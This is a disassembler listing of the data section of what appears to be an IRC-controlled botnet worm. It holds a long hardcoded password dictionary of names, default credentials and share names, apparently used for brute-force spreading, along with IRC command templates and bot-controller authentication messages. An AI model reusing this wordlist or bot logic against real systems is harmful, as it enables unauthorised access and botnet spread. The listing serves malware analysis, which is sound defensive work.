aCaren		db 'caren',0            ; DATA XREF: ___:0042FD2Co
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042FD28o
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042FD24o
		align 4
aCapture	db 'capture',0          ; DATA XREF: ___:0042FD20o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042FD1Co
aCantor		db 'cantor',0           ; DATA XREF: ___:0042FD18o
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042FD14o
		align 4
aCandi		db 'candi',0            ; DATA XREF: ___:0042FD10o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042FD0Co
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042FD08o
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:0042FD04o
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042FD00o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: ___:0042FCFCo
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042FCF8o
		align 10h
aButch		db 'butch',0            ; DATA XREF: ___:0042FCF4o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:0042FCF0o
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042FCECo
aBung		db 'bung',0             ; DATA XREF: ___:0042FCE8o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042FCE4o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042FCE0o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:0042FCDCo
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042FCD8o
		align 4
aBrute		db 'brute',0            ; DATA XREF: ___:0042FCD4o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042FCD0o
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042FCCCo
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042FCC8o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042FCC4o
aBrian		db 'brian',0            ; DATA XREF: ___:0042FCC0o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042FCBCo
		align 4
aBreast		db 'breast',0           ; DATA XREF: ___:0042FCB8o
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042FCB4o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: ___:0042FCB0o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042FCACo
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042FCA8o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042FCA4o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042FCA0o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:0042FC9Co
		align 10h
aBook		db 'book',0             ; DATA XREF: ___:0042FC98o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042FC94o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: ___:0042FC90o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:0042FC8Co
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: ___:0042FC88o
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:0042FC84o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: ___:0042FC80o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:0042FC7Co
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042FC78o
aBlow		db 'blow',0             ; DATA XREF: ___:0042FC74o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042FC70o
		align 4
aBlood		db 'blood',0            ; DATA XREF: ___:0042FC6Co
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042FC68o
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042FC64o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042FC60o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042FC5Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042FC58o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042FC54o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042FC50o
		align 4
aBird		db 'bird',0             ; DATA XREF: ___:0042FC4Co
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042FC48o
		align 4
aBinary		db 'binary',0           ; DATA XREF: ___:0042FC44o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042FC40o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042FC3Co
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042FC38o
		align 10h
aBible		db 'bible',0            ; DATA XREF: ___:0042FC34o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042FC30o
aBetty		db 'betty',0            ; DATA XREF: ___:0042FC2Co
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042FC28o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: ___:0042FC24o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:0042FC20o
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042FC1Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042FC18o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042FC14o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042FC10o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042FC0Co
aBenz		db 'benz',0             ; DATA XREF: ___:0042FC08o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042FC04o
aBell		db 'bell',0             ; DATA XREF: ___:0042FC00o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:0042FBFCo
		align 10h
aBegin		db 'begin',0            ; DATA XREF: ___:0042FBF8o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042FBF4o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042FBF0o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042FBECo
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042FBE8o
		align 4
aBeater		db 'beater',0           ; DATA XREF: ___:0042FBE4o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042FBE0o
		align 4
aBear		db 'bear',0             ; DATA XREF: ___:0042FBDCo
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042FBD8o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: ___:0042FBD4o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:0042FBD0o
		align 10h
aBatch		db 'batch',0            ; DATA XREF: ___:0042FBCCo
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042FBC8o
aBass		db 'bass',0             ; DATA XREF: ___:0042FBC4o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:0042FBC0o
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042FBBCo
		align 4
aBartman	db 'bartman',0          ; DATA XREF: ___:0042FBB8o
aBart		db 'bart',0             ; DATA XREF: ___:0042FBB4o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042FBB0o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:0042FBACo
		align 10h
aBare		db 'bare',0             ; DATA XREF: ___:0042FBA8o
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:0042FBA4o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042FBA0o
aBanks		db 'banks',0            ; DATA XREF: ___:0042FB9Co
		align 10h
aBank		db 'bank',0             ; DATA XREF: ___:0042FB98o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:0042FB94o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: ___:0042FB90o
aBanana		db 'banana',0           ; DATA XREF: ___:0042FB8Co
		align 10h
aBall		db 'ball',0             ; DATA XREF: ___:0042FB88o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:0042FB84o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: ___:0042FB80o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042FB7Co
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042FB78o
aBaby		db 'baby',0             ; DATA XREF: ___:0042FB74o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042FB70o
		align 4
aAzure		db 'azure',0            ; DATA XREF: ___:0042FB6Co
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042FB68o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042FB64o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:0042FB60o
		align 10h
aAtom		db 'atom',0             ; DATA XREF: ___:0042FB5Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042FB58o
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042FB54o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042FB50o
aAsian		db 'asian',0            ; DATA XREF: ___:0042FB4Co
		align 4
aArtist		db 'artist',0           ; DATA XREF: ___:0042FB48o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042FB44o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: ___:0042FB40o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042FB3Co
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:0042FB38o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042FB34o
aAria		db 'aria',0             ; DATA XREF: ___:0042FB30o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042FB2Co
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042FB28o
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:0042FB24o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042FB20o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042FB1Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042FB18o
aAnswer		db 'answer',0           ; DATA XREF: ___:0042FB14o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042FB10o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042FB0Co
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:0042FB08o
aAnne		db 'anne',0             ; DATA XREF: ___:0042FB04o
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:0042FB00o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042FAFCo
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042FAF8o
aAnimal		db 'animal',0           ; DATA XREF: ___:0042FAF4o
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:0042FAF0o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042FAECo
		align 10h
aAngela		db 'angela',0           ; DATA XREF: ___:0042FAE8o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042FAE4o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: ___:0042FAE0o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042FADCo
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042FAD8o
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042FAD4o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042FAD0o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042FACCo
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042FAC8o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: ___:0042FAC4o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:0042FAC0o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042FABCo
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042FAB8o
aAmber		db 'amber',0            ; DATA XREF: ___:0042FAB4o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042FAB0o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042FAACo
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042FAA8o
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:0042FAA4o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: ___:0042FAA0o
aAlison		db 'alison',0           ; DATA XREF: ___:0042FA9Co
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042FA98o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042FA94o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: ___:0042FA90o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: ___:0042FA8Co
aAlias		db 'alias',0            ; DATA XREF: ___:0042FA88o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042FA84o
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042FA80o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:0042FA7Co
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042FA78o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:0042FA74o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042FA70o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: ___:0042FA6Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042FA68o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042FA64o
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:0042FA60o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042FA5Co
		align 10h
aAdult		db 'adult',0            ; DATA XREF: ___:0042FA58o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042FA54o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042FA50o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:0042FA4Co
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042FA48o
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:0042FA44o
aAcademic	db 'academic',0         ; DATA XREF: ___:0042FA3Co
		align 10h
aAcademia	db 'academia',0         ; DATA XREF: ___:0042FA38o
		align 4
a000000		db '000000',0           ; DATA XREF: ___:0042FA34o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042FA30o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:0042FA2Co
		align 4
a000		db '000',0              ; DATA XREF: ___:0042FA28o
aTesting	db 'testing',0          ; DATA XREF: ___:0042FA24o
aDeath		db 'death',0            ; DATA XREF: ___:0042FA20o
		align 4
a00		db '00',0               ; DATA XREF: ___:0042FA1Co
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042FA14o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042FA10o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042FA0Co
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042FA08o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042FA04o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042FA00o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: ___:0042F9FCo
aXx		db 'xx',0               ; DATA XREF: ___:0042F9F8o
		align 4
asc_434C2C:				; DATA XREF: ___:0042F9F4o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F9F0o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F9ECo
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F9E8o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F9E4o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F9E0o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F9DCo
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F9D8o
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F9D4o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F9D0o
		align 10h
aL337		db 'l337',0             ; DATA XREF: ___:0042F9CCo
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F9C8o
		align 10h
aLeet		db 'leet',0             ; DATA XREF: ___:0042F9C4o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F9C0o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F9BCo
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F9B8o
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F9B4o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F9B0o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F9ACo
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F9A8o
aSatan		db 'satan',0            ; DATA XREF: ___:0042F9A4o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F9A0o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F99Co
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F998o
		align 4
aMat		db 'Mat',0              ; DATA XREF: ___:0042F994o
aPw		db 'pw',0               ; DATA XREF: ___:0042F990o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F98Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F988o
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F984o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F980o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F97Co
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F978o
		align 4
aLove		db 'love',0             ; DATA XREF: ___:0042F974o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F970o
aLogin		db 'login',0            ; DATA XREF: ___:0042F96Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F968o
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F964o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F960o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F95Co
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F958o
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F954o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F950o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:0042F94Co
aTest123	db 'test123',0          ; DATA XREF: ___:0042F948o
aAbc		db 'abc',0              ; DATA XREF: ___:0042F944o
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F940o
aA_1:					; DATA XREF: ___:0042F93Co
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F938o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F934o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F930o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F92Co
		align 4
aOwned		db 'owned',0            ; DATA XREF: ___:0042F928o
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:0042F924o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F920o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F91Co
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:0042F918o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F914o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F910o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:0042F90Co
aSex		db 'sex',0              ; DATA XREF: ___:0042F908o
aPat		db 'pat',0              ; DATA XREF: ___:0042F904o
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F900o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F8FCo
		align 10h
a007		db '007',0              ; DATA XREF: ___:0042F8F8o
a123abc		db '123abc',0           ; DATA XREF: ___:0042F8F4o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F8F0o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F8ECo
		align 10h
a121212		db '121212',0           ; DATA XREF: ___:0042F8E8o
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F8E4o
		align 10h
a110		db '110',0              ; DATA XREF: ___:0042F8E0o
a2600		db '2600',0             ; DATA XREF: ___:0042F8DCo
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042F8D4o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F8D0o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F8CCo
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F8C8o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F8C4o
a123asd		db '123asd',0           ; DATA XREF: ___:0042F8C0o
		align 10h
aSuper		db 'super',0            ; DATA XREF: ___:0042F8BCo
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F8B8o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F8B0o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F8ACo
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F8A4o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F8A0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F898o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: ___:0042F894o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:0042F890o
		align 10h
a11111111	db '11111111',0         ; DATA XREF: ___:0042F88Co
		align 4
a111		db '111',0              ; DATA XREF: ___:0042F888o
a54321		db '54321',0            ; DATA XREF: ___:0042F884o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042F880o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:0042F87Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:0042F878o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042F874o
a123456		db '123456',0           ; DATA XREF: ___:0042F870o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042F86Co
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:0042F868o
		align 4
a123		db '123',0              ; DATA XREF: ___:0042F864o
a12		db '12',0               ; DATA XREF: ___:0042F860o
		align 10h
a1:					; DATA XREF: ___:0042F85Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042F858o
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042F854o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042F850o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042F84Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:0042F848o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042F844o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042F840o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042F83Co
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042F838o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042F834o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042F82Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: ___:0042F828o
		align 4
aEdu		db 'edu',0              ; DATA XREF: ___:0042F824o
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042F820o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042F81Co
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042F818o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042F814o
		align 10h
aRead		db 'READ',0             ; DATA XREF: ___:0042F810o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042F80Co
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042F808o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042F804o
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042F800o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042F7FCo
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042F7F8o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042F7F4o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042F7F0o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042F7E8o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042F7E4o
		align 4
aBla		db 'bla',0              ; DATA XREF: ___:0042F7E0o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042F7DCo
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F7D0o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F7C0o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042F7BCo
					; ___:0042F8A8o
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:0042F7B8o
aDatabase	db 'database',0         ; DATA XREF: ___:0042F7B4o
					; ___:0042F89Co
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:0042F7B0o
					; ___:0042FF3Co
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042F7ACo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042F7A8o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042F7A4o
					; ___:00430ED0o
aStudent	db 'student',0          ; DATA XREF: ___:0042F7A0o
					; ___:00430E18o
aOwner		db 'owner',0            ; DATA XREF: ___:0042F79Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042F798o
					; ___:0042F8B4o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042F794o
					; ___:0042F7ECo
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:0042F790o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042F78Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:0042F788o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042F784o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042F780o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042F77Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042F778o
					; ___:0042F7D8o
		align 10h
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6C8o
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C4o
dword_435118	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435140	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_43514C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 10h
dword_4351C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_4351F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_43521C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		dd 20687475h
		db 62h
byte_435249	db 79h,	3Ah, 20h	; DATA XREF: ___:off_4274DCo
		dd 21732528h, 2E297325h, 0
dword_435258	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 10h
asc_4352E0:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_4352E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_435318	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
